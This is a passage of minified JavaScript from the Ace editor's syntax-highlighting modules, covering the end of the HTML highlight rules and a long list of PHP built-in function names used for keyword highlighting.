r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/php_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=e(\"./html_highlight_rules\").HtmlHighlightRules,a=function(){var e=s,t=i.arrayToMap(\"abs|acos|acosh|addcslashes|addslashes|aggregate|aggregate_info|aggregate_methods|aggregate_methods_by_list|aggregate_methods_by_regexp|aggregate_properties|aggregate_properties_by_list|aggregate_properties_by_regexp|aggregation_info|amqpconnection|amqpexchange|amqpqueue|apache_child_terminate|apache_get_modules|apache_get_version|apache_getenv|apache_lookup_uri|apache_note|apache_request_headers|apache_reset_timeout|apache_response_headers|apache_setenv|apc_add|apc_bin_dump|apc_bin_dumpfile|apc_bin_load|apc_bin_loadfile|apc_cache_info|apc_cas|apc_clear_cache|apc_compile_file|apc_dec|apc_define_constants|apc_delete|apc_delete_file|apc_exists|apc_fetch|apc_inc|apc_load_constants|apc_sma_info|apc_store|apciterator|apd_breakpoint|apd_callstack|apd_clunk|apd_continue|apd_croak|apd_dump_function_table|apd_dump_persistent_resources|apd_dump_regular_resources|apd_echo|apd_get_active_symbols|apd_set_pprof_trace|apd_set_session|apd_set_session_trace|apd_set_session_trace_socket|appenditerator|array|array_change_key_case|array_chunk|array_combine|array_count_values|array_diff|array_diff_assoc|array_diff_key|array_diff_uassoc|array_diff_ukey|array_fill|array_fill_keys|array_filter|array_flip|array_intersect|array_intersect_assoc|array_intersect_key|array_intersect_uassoc|array_intersect_ukey|array_key_exists|array_keys|array_map|array_merge|array_merge_recursive|array_multisort|array_pad|array_pop|array_product|array_push|array_rand|array_reduce|array_replace|array_replace_recursive|array_reverse|array_search|array_shift|array_slice|array_splice|array_sum|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_unique|array_unshift|array_values|array_walk|array_walk_recursive|arrayaccess|arrayiterator|arrayobject|arsort|asin|asinh|asort|assert|assert_options|atan|atan2|atanh|audioproperties|badfunctioncallexception|badmethodcallexception|base64_decode|base64_encode|base_convert|basename|bbcode_add_element|bbcode_add_smiley|bbcode_create|bbcode_destroy|bbcode_parse|bbcode_set_arg_parser|bbcode_set_flags|bcadd|bccomp|bcdiv|bcmod|bcmul|bcompiler_load|bcompiler_load_exe|bcompiler_parse_class|bcompiler_read|bcompiler_write_class|bcompiler_write_constant|bcompiler_write_exe_footer|bcompiler_write_file|bcompiler_write_footer|bcompiler_write_function|bcompiler_write_functions_from_file|bcompiler_write_header|bcompiler_write_included_filename|bcpow|bcpowmod|bcscale|bcsqrt|bcsub|bin2hex|bind_textdomain_codeset|bindec|bindtextdomain|bson_decode|bson_encode|bumpValue|bzclose|bzcompress|bzdecompress|bzerrno|bzerror|bzerrstr|bzflush|bzopen|bzread|bzwrite|cachingiterator|cairo|cairo_create|cairo_font_face_get_type|cairo_font_face_status|cairo_font_options_create|cairo_font_options_equal|cairo_font_options_get_antialias|cairo_font_options_get_hint_metrics|cairo_font_options_get_hint_style|cairo_font_options_get_subpixel_order|cairo_font_options_hash|cairo_font_options_merge|cairo_font_options_set_antialias|cairo_font_options_set_hint_metrics|cairo_font_options_set_hint_style|cairo_font_options_set_subpixel_order|cairo_font_options_status|cairo_format_stride_for_width|cairo_image_surface_create|cairo_image_surface_create_for_data|cairo_image_surface_create_from_png|cairo_image_surface_get_data|cairo_image_surface_get_format|cairo_image_surface_get_height|cairo_image_surface_get_stride|cairo_image_surface_get_width|cairo_matrix_create_scale|cairo_matrix_create_translate|cairo_matrix_invert|cairo_matrix_multiply|cairo_matrix_rotate|cairo_matrix_transform_distance|cairo_matrix_transform_point|cairo_matrix_translate|cairo_pattern_add_color_stop_rgb|cairo_pattern_add_color_stop_rgba|cairo_pattern_create_for_surface|cairo_pattern_create_linear|cairo_pattern_create_radial|cairo_pattern_create_rgb|cairo_pattern_create_rgba|cairo_pattern_get_color_stop_count|cairo_pattern_get_color_stop_rgba|cairo_pattern_get_extend|cairo_pattern_get_filter|cairo_pattern_get_linear_points|cairo_pattern_get_matrix|cairo_pattern_get_radial_circles|cairo_pattern_get_rgba|cairo_pattern_get_surface|cairo_pattern_get_type|cairo_pattern_set_extend|cairo_pattern_set_filter|cairo_pattern_set_matrix|cairo_pattern_status|cairo_pdf_surface_create|cairo_pdf_surface_set_size|cairo_ps_get_levels|cairo_ps_level_to_string|cairo_ps_surface_create|cairo_ps_surface_dsc_begin_page_setup|cairo_ps_surface_dsc_begin_setup|cairo_ps_surface_dsc_comment|cairo_ps_surface_get_eps|cairo_ps_surface_restrict_to_level|cairo_ps_surface_set_eps|cairo_ps_surface_set_size|cairo_scaled_font_create|cairo_scaled_font_extents|cairo_scaled_font_get_ctm|cairo_scaled_font_get_font_face|cairo_scaled_font_get_font_matrix|cairo_scaled_font_get_font_options|cairo_scaled_font_get_scale_matrix|cairo_scaled_font_get_type|cairo_scaled_font_glyph_extents|cairo_scaled_font_status|cairo_scaled_font_text_extents|cairo_surface_copy_page|cairo_surface_create_similar|cairo_surface_finish|cairo_surface_flush|cairo_surface_get_content|cairo_surface_get_device_offset|cairo_surface_get_font_options|cairo_surface_get_type|cairo_surface_mark_dirty|cairo_surface_mark_dirty_rectangle|cairo_surface_set_device_offset|cairo_surface_set_fallback_resolution|cairo_surface_show_page|cairo_surface_status|cairo_surface_write_to_png|cairo_svg_surface_create|cairo_svg_surface_restrict_to_version|cairo_svg_version_to_string|cairoantialias|cairocontent|cairocontext|cairoexception|cairoextend|cairofillrule|cairofilter|cairofontface|cairofontoptions|cairofontslant|cairofonttype|cairofontweight|cairoformat|cairogradientpattern|cairohintmetrics|cairohintstyle|cairoimagesurface|cairolineargradient|cairolinecap|cairolinejoin|cairomatrix|cairooperator|cairopath|cairopattern|cairopatterntype|cairopdfsurface|cairopslevel|cairopssurface|cairoradialgradient|cairoscaledfont|cairosolidpattern|cairostatus|cairosubpixelorder|cairosurface|cairosurfacepattern|cairosurfacetype|cairosvgsurface|cairosvgversion|cairotoyfontface|cal_days_in_month|cal_from_jd|cal_info|cal_to_jd|calcul_hmac|calculhmac|call_user_func|call_user_func_array|call_user_method|call_user_method_array|callbackfilteriterator|ceil|chdb|chdb_create|chdir|checkdate|checkdnsrr|chgrp|chmod|chop|chown|chr|chroot|chunk_split|class_alias|class_exists|class_implements|class_parents|class_uses|classkit_import|classkit_method_add|classkit_method_copy|classkit_method_redefine|classkit_method_remove|classkit_method_rename|clearstatcache|clone|closedir|closelog|collator|com|com_addref|com_create_guid|com_event_sink|com_get|com_get_active_object|com_invoke|com_isenum|com_load|com_load_typelib|com_message_pump|com_print_typeinfo|com_propget|com_propput|com_propset|com_release|com_set|compact|connection_aborted|connection_status|connection_timeout|constant|construct|construct|construct|convert_cyr_string|convert_uudecode|convert_uuencode|copy|cos|cosh|count|count_chars|countable|counter_bump|counter_bump_value|counter_create|counter_get|counter_get_meta|counter_get_named|counter_get_value|counter_reset|counter_reset_value|crack_check|crack_closedict|crack_getlastmessage|crack_opendict|crc32|create_function|crypt|ctype_alnum|ctype_alpha|ctype_cntrl|ctype_digit|ctype_graph|ctype_lower|ctype_print|ctype_punct|ctype_space|ctype_upper|ctype_xdigit|cubrid_affected_rows|cubrid_bind|cubrid_client_encoding|cubrid_close|cubrid_close_prepare|cubrid_close_request|cubrid_col_get|cubrid_col_size|cubrid_column_names|cubrid_column_types|cubrid_commit|cubrid_connect|cubrid_connect_with_url|cubrid_current_oid|cubrid_data_seek|cubrid_db_name|cubrid_disconnect|cubrid_drop|cubrid_errno|cubrid_error|cubrid_error_code|cubrid_error_code_facility|cubrid_error_msg|cubrid_execute|cubrid_fetch|cubrid_fetch_array|cubrid_fetch_assoc|cubrid_fetch_field|cubrid_fetch_lengths|cubrid_fetch_object|cubrid_fetch_row|cubrid_field_flags|cubrid_field_len|cubrid_field_name|cubrid_field_seek|cubrid_field_table|cubrid_field_type|cubrid_free_result|cubrid_get|cubrid_get_autocommit|cubrid_get_charset|cubrid_get_class_name|cubrid_get_client_info|cubrid_get_db_parameter|cubrid_get_server_info|cubrid_insert_id|cubrid_is_instance|cubrid_list_dbs|cubrid_load_from_glo|cubrid_lob_close|cubrid_lob_export|cubrid_lob_get|cubrid_lob_send|cubrid_lob_size|cubrid_lock_read|cubrid_lock_write|cubrid_move_cursor|cubrid_new_glo|cubrid_next_result|cubrid_num_cols|cubrid_num_fields|cubrid_num_rows|cubrid_ping|cubrid_prepare|cubrid_put|cubrid_query|cubrid_real_escape_string|cubrid_result|cubrid_rollback|cubrid_save_to_glo|cubrid_schema|cubrid_send_glo|cubrid_seq_drop|cubrid_seq_insert|cubrid_seq_put|cubrid_set_add|cubrid_set_autocommit|cubrid_set_db_parameter|cubrid_set_drop|cubrid_unbuffered_query|cubrid_version|curl_close|curl_copy_handle|curl_errno|curl_error|curl_exec|curl_getinfo|curl_init|curl_multi_add_handle|curl_multi_close|curl_multi_exec|curl_multi_getcontent|curl_multi_info_read|curl_multi_init|curl_multi_remove_handle|curl_multi_select|curl_setopt|curl_setopt_array|curl_version|current|cyrus_authenticate|cyrus_bind|cyrus_close|cyrus_connect|cyrus_query|cyrus_unbind|date|date_add|date_create|date_create_from_format|date_date_set|date_default_timezone_get|date_default_timezone_set|date_diff|date_format|date_get_last_errors|date_interval_create_from_date_string|date_interval_format|date_isodate_set|date_modify|date_offset_get|date_parse|date_parse_from_format|date_sub|date_sun_info|date_sunrise|date_sunset|date_time_set|date_timestamp_get|date_timestamp_set|date_timezone_get|date_timezone_set|dateinterval|dateperiod|datetime|datetimezone|db2_autocommit|db2_bind_param|db2_client_info|db2_close|db2_column_privileges|db2_columns|db2_commit|db2_conn_error|db2_conn_errormsg|db2_connect|db2_cursor_type|db2_escape_string|db2_exec|db2_execute|db2_fetch_array|db2_fetch_assoc|db2_fetch_both|db2_fetch_object|db2_fetch_row|db2_field_display_size|db2_field_name|db2_field_num|db2_field_precision|db2_field_scale|db2_field_type|db2_field_width|db2_foreign_keys|db2_free_result|db2_free_stmt|db2_get_option|db2_last_insert_id|db2_lob_read|db2_next_result|db2_num_fields|db2_num_rows|db2_pclose|db2_pconnect|db2_prepare|db2_primary_keys|db2_procedure_columns|db2_procedures|db2_result|db2_rollback|db2_server_info|db2_set_option|db2_special_columns|db2_statistics|db2_stmt_error|db2_stmt_errormsg|db2_table_privileges|db2_tables|dba_close|dba_delete|dba_exists|dba_fetch|dba_firstkey|dba_handlers|dba_insert|dba_key_split|dba_list|dba_nextkey|dba_open|dba_optimize|dba_popen|dba_replace|dba_sync|dbase_add_record|dbase_close|dbase_create|dbase_delete_record|dbase_get_header_info|dbase_get_record|dbase_get_record_with_names|dbase_numfields|dbase_numrecords|dbase_open|dbase_pack|dbase_replace_record|dbplus_add|dbplus_aql|dbplus_chdir|dbplus_close|dbplus_curr|dbplus_errcode|dbplus_errno|dbplus_find|dbplus_first|dbplus_flush|dbplus_freealllocks|dbplus_freelock|dbplus_freerlocks|dbplus_getlock|dbplus_getunique|dbplus_info|dbplus_last|dbplus_lockrel|dbplus_next|dbplus_open|dbplus_prev|dbplus_rchperm|dbplus_rcreate|dbplus_rcrtexact|dbplus_rcrtlike|dbplus_resolve|dbplus_restorepos|dbplus_rkeys|dbplus_ropen|dbplus_rquery|dbplus_rrename|dbplus_rsecindex|dbplus_runlink|dbplus_rzap|dbplus_savepos|dbplus_setindex|dbplus_setindexbynumber|dbplus_sql|dbplus_tcl|dbplus_tremove|dbplus_undo|dbplus_undoprepare|dbplus_unlockrel|dbplus_unselect|dbplus_update|dbplus_xlockrel|dbplus_xunlockrel|dbx_close|dbx_compare|dbx_connect|dbx_error|dbx_escape_string|dbx_fetch_row|dbx_query|dbx_sort|dcgettext|dcngettext|deaggregate|debug_backtrace|debug_print_backtrace|debug_zval_dump|decbin|dechex|decoct|define|define_syslog_variables|defined|deg2rad|delete|dgettext|die|dio_close|dio_fcntl|dio_open|dio_read|dio_seek|dio_stat|dio_tcsetattr|dio_truncate|dio_write|dir|directoryiterator|dirname|disk_free_space|disk_total_space|diskfreespace|dl|dngettext|dns_check_record|dns_get_mx|dns_get_record|dom_import_simplexml|domainexception|domattr|domattribute_name|domattribute_set_value|domattribute_specified|domattribute_value|domcharacterdata|domcomment|domdocument|domdocument_add_root|domdocument_create_attribute|domdocument_create_cdata_section|domdocument_create_comment|domdocument_create_element|domdocument_create_element_ns|domdocument_create_entity_reference|domdocument_create_processing_instruction|domdocument_create_text_node|domdocument_doctype|domdocument_document_element|domdocument_dump_file|domdocument_dump_mem|domdocument_get_element_by_id|domdocument_get_elements_by_tagname|domdocument_html_dump_mem|domdocument_xinclude|domdocumentfragment|domdocumenttype|domdocumenttype_entities|domdocumenttype_internal_subset|domdocumenttype_name|domdocumenttype_notations|domdocumenttype_public_id|domdocumenttype_system_id|domelement|domelement_get_attribute|domelement_get_attribute_node|domelement_get_elements_by_tagname|domelement_has_attribute|domelement_remove_attribute|domelement_set_attribute|domelement_set_attribute_node|domelement_tagname|domentity|domentityreference|domexception|domimplementation|domnamednodemap|domnode|domnode_add_namespace|domnode_append_child|domnode_append_sibling|domnode_attributes|domnode_child_nodes|domnode_clone_node|domnode_dump_node|domnode_first_child|domnode_get_content|domnode_has_attributes|domnode_has_child_nodes|domnode_insert_before|domnode_is_blank_node|domnode_last_child|domnode_next_sibling|domnode_node_name|domnode_node_type|domnode_node_value|domnode_owner_document|domnode_parent_node|domnode_prefix|domnode_previous_sibling|domnode_remove_child|domnode_replace_child|domnode_replace_node|domnode_set_content|domnode_set_name|domnode_set_namespace|domnode_unlink_node|domnodelist|domnotation|domprocessinginstruction|domprocessinginstruction_data|domprocessinginstruction_target|domtext|domxml_new_doc|domxml_open_file|domxml_open_mem|domxml_version|domxml_xmltree|domxml_xslt_stylesheet|domxml_xslt_stylesheet_doc|domxml_xslt_stylesheet_file|domxml_xslt_version|domxpath|domxsltstylesheet_process|domxsltstylesheet_result_dump_file|domxsltstylesheet_result_dump_mem|dotnet|dotnet_load|doubleval|each|easter_date|easter_days|echo|empty|emptyiterator|enchant_broker_describe|enchant_broker_dict_exists|enchant_broker_free|enchant_broker_free_dict|enchant_broker_get_error|enchant_broker_init|enchant_broker_list_dicts|enchant_broker_request_dict|enchant_broker_request_pwl_dict|enchant_broker_set_ordering|enchant_dict_add_to_personal|enchant_dict_add_to_session|enchant_dict_check|enchant_dict_describe|enchant_dict_get_error|enchant_dict_is_in_session|enchant_dict_quick_check|enchant_dict_store_replacement|enchant_dict_suggest|end|ereg|ereg_replace|eregi|eregi_replace|error_get_last|error_log|error_reporting|errorexception|escapeshellarg|escapeshellcmd|eval|event_add|event_base_free|event_base_loop|event_base_loopbreak|event_base_loopexit|event_base_new|event_base_priority_init|event_base_set|event_buffer_base_set|event_buffer_disable|event_buffer_enable|event_buffer_fd_set|event_buffer_free|event_buffer_new|event_buffer_priority_set|event_buffer_read|event_buffer_set_callback|event_buffer_timeout_set|event_buffer_watermark_set|event_buffer_write|event_del|event_free|event_new|event_set|exception|exec|exif_imagetype|exif_read_data|exif_tagname|exif_thumbnail|exit|exp|expect_expectl|expect_popen|explode|expm1|export|export|extension_loaded|extract|ezmlm_hash|fam_cancel_monitor|fam_close|fam_monitor_collection|fam_monitor_directory|fam_monitor_file|fam_next_event|fam_open|fam_pending|fam_resume_monitor|fam_suspend_monitor|fbsql_affected_rows|fbsql_autocommit|fbsql_blob_size|fbsql_change_user|fbsql_clob_size|fbsql_close|fbsql_commit|fbsql_connect|fbsql_create_blob|fbsql_create_clob|fbsql_create_db|fbsql_data_seek|fbsql_database|fbsql_database_password|fbsql_db_query|fbsql_db_status|fbsql_drop_db|fbsql_errno|fbsql_error|fbsql_fetch_array|fbsql_fetch_assoc|fbsql_fetch_field|fbsql_fetch_lengths|fbsql_fetch_object|fbsql_fetch_row|fbsql_field_flags|fbsql_field_len|fbsql_field_name|fbsql_field_seek|fbsql_field_table|fbsql_field_type|fbsql_free_result|fbsql_get_autostart_info|fbsql_hostname|fbsql_insert_id|fbsql_list_dbs|fbsql_list_fields|fbsql_list_tables|fbsql_next_result|fbsql_num_fields|fbsql_num_rows|fbsql_password|fbsql_pconnect|fbsql_query|fbsql_read_blob|fbsql_read_clob|fbsql_result|fbsql_rollback|fbsql_rows_fetched|fbsql_select_db|fbsql_set_characterset|fbsql_set_lob_mode|fbsql_set_password|fbsql_set_transaction|fbsql_start_db|fbsql_stop_db|fbsql_table_name|fbsql_tablename|fbsql_username|fbsql_warnings|fclose|fdf_add_doc_javascript|fdf_add_template|fdf_close|fdf_create|fdf_enum_values|fdf_errno|fdf_error|fdf_get_ap|fdf_get_attachment|fdf_get_encoding|fdf_get_file|fdf_get_flags|fdf_get_opt|fdf_get_status|fdf_get_value|fdf_get_version|fdf_header|fdf_next_field_name|fdf_open|fdf_open_string|fdf_remove_item|fdf_save|fdf_save_string|fdf_set_ap|fdf_set_encoding|fdf_set_file|fdf_set_flags|fdf_set_javascript_action|fdf_set_on_import_javascript|fdf_set_opt|fdf_set_status|fdf_set_submit_form_action|fdf_set_target_frame|fdf_set_value|fdf_set_version|feof|fflush|fgetc|fgetcsv|fgets|fgetss|file|file_exists|file_get_contents|file_put_contents|fileatime|filectime|filegroup|fileinode|filemtime|fileowner|fileperms|filepro|filepro_fieldcount|filepro_fieldname|filepro_fieldtype|filepro_fieldwidth|filepro_retrieve|filepro_rowcount|filesize|filesystemiterator|filetype|filter_has_var|filter_id|filter_input|filter_input_array|filter_list|filter_var|filter_var_array|filteriterator|finfo_buffer|finfo_close|finfo_file|finfo_open|finfo_set_flags|floatval|flock|floor|flush|fmod|fnmatch|fopen|forward_static_call|forward_static_call_array|fpassthru|fprintf|fputcsv|fputs|fread|frenchtojd|fribidi_log2vis|fscanf|fseek|fsockopen|fstat|ftell|ftok|ftp_alloc|ftp_cdup|ftp_chdir|ftp_chmod|ftp_close|ftp_connect|ftp_delete|ftp_exec|ftp_fget|ftp_fput|ftp_get|ftp_get_option|ftp_login|ftp_mdtm|ftp_mkdir|ftp_nb_continue|ftp_nb_fget|ftp_nb_fput|ftp_nb_get|ftp_nb_put|ftp_nlist|ftp_pasv|ftp_put|ftp_pwd|ftp_quit|ftp_raw|ftp_rawlist|ftp_rename|ftp_rmdir|ftp_set_option|ftp_site|ftp_size|ftp_ssl_connect|ftp_systype|ftruncate|func_get_arg|func_get_args|func_num_args|function_exists|fwrite|gc_collect_cycles|gc_disable|gc_enable|gc_enabled|gd_info|gearmanclient|gearmanjob|gearmantask|gearmanworker|geoip_continent_code_by_name|geoip_country_code3_by_name|geoip_country_code_by_name|geoip_country_name_by_name|geoip_database_info|geoip_db_avail|geoip_db_filename|geoip_db_get_all_info|geoip_id_by_name|geoip_isp_by_name|geoip_org_by_name|geoip_record_by_name|geoip_region_by_name|geoip_region_name_by_code|geoip_time_zone_by_country_and_region|getMeta|getNamed|getValue|get_browser|get_called_class|get_cfg_var|get_class|get_class_methods|get_class_vars|get_current_user|get_declared_classes|get_declared_interfaces|get_declared_traits|get_defined_constants|get_defined_functions|get_defined_vars|get_extension_funcs|get_headers|get_html_translation_table|get_include_path|get_included_files|get_loaded_extensions|get_magic_quotes_gpc|get_magic_quotes_runtime|get_meta_tags|get_object_vars|get_parent_class|get_required_files|get_resource_type|getallheaders|getconstant|getconstants|getconstructor|getcwd|getdate|getdefaultproperties|getdoccomment|getendline|getenv|getextension|getextensionname|getfilename|gethostbyaddr|gethostbyname|gethostbynamel|gethostname|getimagesize|getinterfacenames|getinterfaces|getlastmod|getmethod|getmethods|getmodifiers|getmxrr|getmygid|getmyinode|getmypid|getmyuid|getname|getnamespacename|getopt|getparentclass|getproperties|getproperty|getprotobyname|getprotobynumber|getrandmax|getrusage|getservbyname|getservbyport|getshortname|getstartline|getstaticproperties|getstaticpropertyvalue|gettext|gettimeofday|gettype|glob|globiterator|gmagick|gmagickdraw|gmagickpixel|gmdate|gmmktime|gmp_abs|gmp_add|gmp_and|gmp_clrbit|gmp_cmp|gmp_com|gmp_div|gmp_div_q|gmp_div_qr|gmp_div_r|gmp_divexact|gmp_fact|gmp_gcd|gmp_gcdext|gmp_hamdist|gmp_init|gmp_intval|gmp_invert|gmp_jacobi|gmp_legendre|gmp_mod|gmp_mul|gmp_neg|gmp_nextprime|gmp_or|gmp_perfect_square|gmp_popcount|gmp_pow|gmp_powm|gmp_prob_prime|gmp_random|gmp_scan0|gmp_scan1|gmp_setbit|gmp_sign|gmp_sqrt|gmp_sqrtrem|gmp_strval|gmp_sub|gmp_testbit|gmp_xor|gmstrftime|gnupg_adddecryptkey|gnupg_addencryptkey|gnupg_addsignkey|gnupg_cleardecryptkeys|gnupg_clearencryptkeys|gnupg_clearsignkeys|gnupg_decrypt|gnupg_decryptverify|gnupg_encrypt|gnupg_encryptsign|gnupg_export|gnupg_geterror|gnupg_getprotocol|gnupg_import|gnupg_init|gnupg_keyinfo|gnupg_setarmor|gnupg_seterrormode|gnupg_setsignmode|gnupg_sign|gnupg_verify|gopher_parsedir|grapheme_extract|grapheme_stripos|grapheme_stristr|grapheme_strlen|grapheme_strpos|grapheme_strripos|grapheme_strrpos|grapheme_strstr|grapheme_substr|gregoriantojd|gupnp_context_get_host_ip|gupnp_context_get_port|gupnp_context_get_subscription_timeout|gupnp_context_host_path|gupnp_context_new|gupnp_context_set_subscription_timeout|gupnp_context_timeout_add|gupnp_context_unhost_path|gupnp_control_point_browse_start|gupnp_control_point_browse_stop|gupnp_control_point_callback_set|gupnp_control_point_new|gupnp_device_action_callback_set|gupnp_device_info_get|gupnp_device_info_get_service|gupnp_root_device_get_available|gupnp_root_device_get_relative_location|gupnp_root_device_new|gupnp_root_device_set_available|gupnp_root_device_start|gupnp_root_device_stop|gupnp_service_action_get|gupnp_service_action_return|gupnp_service_action_return_error|gupnp_service_action_set|gupnp_service_freeze_notify|gupnp_service_info_get|gupnp_service_info_get_introspection|gupnp_service_introspection_get_state_variable|gupnp_service_notify|gupnp_service_proxy_action_get|gupnp_service_proxy_action_set|gupnp_service_proxy_add_notify|gupnp_service_proxy_callback_set|gupnp_service_proxy_get_subscribed|gupnp_service_proxy_remove_notify|gupnp_service_proxy_set_subscribed|gupnp_service_thaw_notify|gzclose|gzcompress|gzdecode|gzdeflate|gzencode|gzeof|gzfile|gzgetc|gzgets|gzgetss|gzinflate|gzopen|gzpassthru|gzputs|gzread|gzrewind|gzseek|gztell|gzuncompress|gzwrite|halt_compiler|haruannotation|haruannotation_setborderstyle|haruannotation_sethighlightmode|haruannotation_seticon|haruannotation_setopened|harudestination|harudestination_setfit|harudestination_setfitb|harudestination_setfitbh|harudestination_setfitbv|harudestination_setfith|harudestination_setfitr|harudestination_setfitv|harudestination_setxyz|harudoc|harudoc_addpage|harudoc_addpagelabel|harudoc_construct|harudoc_createoutline|harudoc_getcurrentencoder|harudoc_getcurrentpage|harudoc_getencoder|harudoc_getfont|harudoc_getinfoattr|harudoc_getpagelayout|harudoc_getpagemode|harudoc_getstreamsize|harudoc_insertpage|harudoc_loadjpeg|harudoc_loadpng|harudoc_loadraw|harudoc_loadttc|harudoc_loadttf|harudoc_loadtype1|harudoc_output|harudoc_readfromstream|harudoc_reseterror|harudoc_resetstream|harudoc_save|harudoc_savetostream|harudoc_setcompressionmode|harudoc_setcurrentencoder|harudoc_setencryptionmode|harudoc_setinfoattr|harudoc_setinfodateattr|harudoc_setopenaction|harudoc_setpagelayout|harudoc_setpagemode|harudoc_setpagesconfiguration|harudoc_setpassword|harudoc_setpermission|harudoc_usecnsencodings|harudoc_usecnsfonts|harudoc_usecntencodings|harudoc_usecntfonts|harudoc_usejpencodings|harudoc_usejpfonts|harudoc_usekrencodings|harudoc_usekrfonts|haruencoder|haruencoder_getbytetype|haruencoder_gettype|haruencoder_getunicode|haruencoder_getwritingmode|haruexception|harufont|harufont_getascent|harufont_getcapheight|harufont_getdescent|harufont_getencodingname|harufont_getfontname|harufont_gettextwidth|harufont_getunicodewidth|harufont_getxheight|harufont_measuretext|haruimage|haruimage_getbitspercomponent|haruimage_getcolorspace|haruimage_getheight|haruimage_getsize|haruimage_getwidth|haruimage_setcolormask|haruimage_setmaskimage|haruoutline|haruoutline_setdestination|haruoutline_setopened|harupage|harupage_arc|harupage_begintext|harupage_circle|harupage_closepath|harupage_concat|harupage_createdestination|harupage_createlinkannotation|harupage_createtextannotation|harupage_createurlannotation|harupage_curveto|harupage_curveto2|harupage_curveto3|harupage_drawimage|harupage_ellipse|harupage_endpath|harupage_endtext|harupage_eofill|harupage_eofillstroke|harupage_fill|harupage_fillstroke|harupage_getcharspace|harupage_getcmykfill|harupage_getcmykstroke|harupage_getcurrentfont|harupage_getcurrentfontsize|harupage_getcurrentpos|harupage_getcurrenttextpos|harupage_getdash|harupage_getfillingcolorspace|harupage_getflatness|harupage_getgmode|harupage_getgrayfill|harupage_getgraystroke|harupage_getheight|harupage_gethorizontalscaling|harupage_getlinecap|harupage_getlinejoin|harupage_getlinewidth|harupage_getmiterlimit|harupage_getrgbfill|harupage_getrgbstroke|harupage_getstrokingcolorspace|harupage_gettextleading|harupage_gettextmatrix|harupage_gettextrenderingmode|harupage_gettextrise|harupage_gettextwidth|harupage_gettransmatrix|harupage_getwidth|harupage_getwordspace|harupage_lineto|harupage_measuretext|harupage_movetextpos|harupage_moveto|harupage_movetonextline|harupage_rectangle|harupage_setcharspace|harupage_setcmykfill|harupage_setcmykstroke|harupage_setdash|harupage_setflatness|harupage_setfontandsize|harupage_setgrayfill|harupage_setgraystroke|harupage_setheight|harupage_sethorizontalscaling|harupage_setlinecap|harupage_setlinejoin|harupage_setlinewidth|harupage_setmiterlimit|harupage_setrgbfill|harupage_setrgbstroke|harupage_setrotate|harupage_setsize|harupage_setslideshow|harupage_settextleading|harupage_settextmatrix|harupage_settextrenderingmode|harupage_settextrise|harupage_setwidth|harupage_setwordspace|harupage_showtext|harupage_showtextnextline|harupage_stroke|harupage_textout|harupage_textrect|hasconstant|hash|hash_algos|hash_copy|hash_file|hash_final|hash_hmac|hash_hmac_file|hash_init|hash_update|hash_update_file|hash_update_stream|hasmethod|hasproperty|header|header_register_callback|header_remove|headers_list|headers_sent|hebrev|hebrevc|hex2bin|hexdec|highlight_file|highlight_string|html_entity_decode|htmlentities|htmlspecialchars|htmlspecialchars_decode|http_build_cookie|http_build_query|http_build_str|http_build_url|http_cache_etag|http_cache_last_modified|http_chunked_decode|http_date|http_deflate|http_get|http_get_request_body|http_get_request_body_stream|http_get_request_headers|http_head|http_inflate|http_match_etag|http_match_modified|http_match_request_header|http_negotiate_charset|http_negotiate_content_type|http_negotiate_language|http_parse_cookie|http_parse_headers|http_parse_message|http_parse_params|http_persistent_handles_clean|http_persistent_handles_count|http_persistent_handles_ident|http_post_data|http_post_fields|http_put_data|http_put_file|http_put_stream|http_redirect|http_request|http_request_body_encode|http_request_method_exists|http_request_method_name|http_request_method_register|http_request_method_unregister|http_response_code|http_send_content_disposition|http_send_content_type|http_send_data|http_send_file|http_send_last_modified|http_send_status|http_send_stream|http_support|http_throttle|httpdeflatestream|httpdeflatestream_construct|httpdeflatestream_factory|httpdeflatestream_finish|httpdeflatestream_flush|httpdeflatestream_update|httpinflatestream|httpinflatestream_construct|httpinflatestream_factory|httpinflatestream_finish|httpinflatestream_flush|httpinflatestream_update|httpmessage|httpmessage_addheaders|httpmessage_construct|httpmessage_detach|httpmessage_factory|httpmessage_fromenv|httpmessage_fromstring|httpmessage_getbody|httpmessage_getheader|httpmessage_getheaders|httpmessage_gethttpversion|httpmessage_getparentmessage|httpmessage_getrequestmethod|httpmessage_getrequesturl|httpmessage_getresponsecode|httpmessage_getresponsestatus|httpmessage_gettype|httpmessage_guesscontenttype|httpmessage_prepend|httpmessage_reverse|httpmessage_send|httpmessage_setbody|httpmessage_setheaders|httpmessage_sethttpversion|httpmessage_setrequestmetho